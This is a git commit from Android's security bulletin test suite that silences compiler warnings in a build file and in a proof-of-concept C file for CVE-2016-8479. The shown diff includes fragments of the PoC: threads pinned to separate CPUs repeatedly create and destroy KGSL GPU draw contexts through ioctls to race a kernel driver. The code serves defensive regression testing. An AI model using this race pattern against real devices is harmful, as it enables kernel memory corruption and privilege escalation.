commit f4b9b7c3dd02d7837d313fe1992a0b6be4a08093
author Yi Kong <yikong@google.com> Wed Mar 16 16:46:48 2022 +0800
committer Sterling Huber <hubers@google.com> Wed Mar 16 11:21:55 2022 -0700
tree 0a3a7984608ee32623391f4dfacc0bfe333b3bff
parent ac11e53be1100a0aece27ebb12dbf3bf3b9f8253

Fix/suppress warnings

Test: presubmit
Bug: 219872355
Change-Id: I16cc806acf398c0899916a1acd8e7bbdfc02edfc

hostsidetests/securitybulletin/securityPatch/CVE-2016-8479/Android.bp

diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8479/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8479/Android.bp
index eecb3dc..a881a6b 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8479/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8479/Android.bp
@@ -35,6 +35,7 @@
         "-Wno-format-nonliteral",
         "-Wstrict-prototypes",
         "-Wmissing-prototypes",
+        "-Wno-unused-but-set-variable",
         "-Wno-unused-parameter",
         "-Wno-unused-variable",
         "-Wno-macro-redefined",

hostsidetests/securitybulletin/securityPatch/CVE-2016-8479/poc.c

diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8479/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8479/poc.c
index 5d4950a..78dcfcf 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8479/poc.c
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8479/poc.c
@@ -124,39 +124,36 @@
 }
 
 void* child_ioctl_0(void* no_use) {
-  int ret = 1;
   time_t test_started = start_timer();
   struct kgsl_drawctxt_destroy kdd = {0};
   kdd.drawctxt_id = kgsl_id;
   set_affinity(1);
 
   while (timer_active(test_started)) {
-    ret = ioctl(fd, IOCTL_KGSL_DRAWCTXT_DESTROY, &kdd);
+    ioctl(fd, IOCTL_KGSL_DRAWCTXT_DESTROY, &kdd);
   }
   return NULL;
 }
 
 void* child_ioctl_1(void* no_use) {
-  int ret = 1;
   time_t test_started = start_timer();
   struct kgsl_drawctxt_destroy kdd = {0};
   kdd.drawctxt_id = kgsl_id;
   set_affinity(2);
 
   while (timer_active(test_started)) {
-    ret = ioctl(fd, IOCTL_KGSL_DRAWCTXT_DESTROY, &kdd);
+    ioctl(fd, IOCTL_KGSL_DRAWCTXT_DESTROY, &kdd);
   }
   return NULL;
 }
 
 void* child_ioctl_2(void* no_use) {
-  int ret = 1;
   time_t test_started = start_timer();
   struct kgsl_drawctxt_create kdc = {0, 0};
   kdc.flags = KGSL_CONTEXT_PREAMBLE | KGSL_CONTEXT_NO_GMEM_ALLOC;
   set_affinity(3);
   while (timer_active(test_started)) {
-    ret = ioctl(fd, IOCTL_KGSL_DRAWCTXT_CREATE, &kdc);
+    ioctl(fd, IOCTL_KGSL_DRAWCTXT_CREATE, &kdc);
     kgsl_id = kdc.drawctxt_id;
   }
   return NULL;
@@ -166,8 +163,8 @@
   int i, ret;
   time_t test_started = start_timer();
   struct kgsl_drawctxt_create kdc = {0, 0};
-  kdc.flags = KGSL_CONTEXT_PREAMBLE | KGSL_CONTEXT_NO_GMEM_ALLOC;
   struct kgsl_drawctxt_destroy kdd = {0};
+  kdc.flags = KGSL_CONTEXT_PREAMBLE | KGSL_CONTEXT_NO_GMEM_ALLOC;
 
   /* bind_cpu */
   set_affinity(0);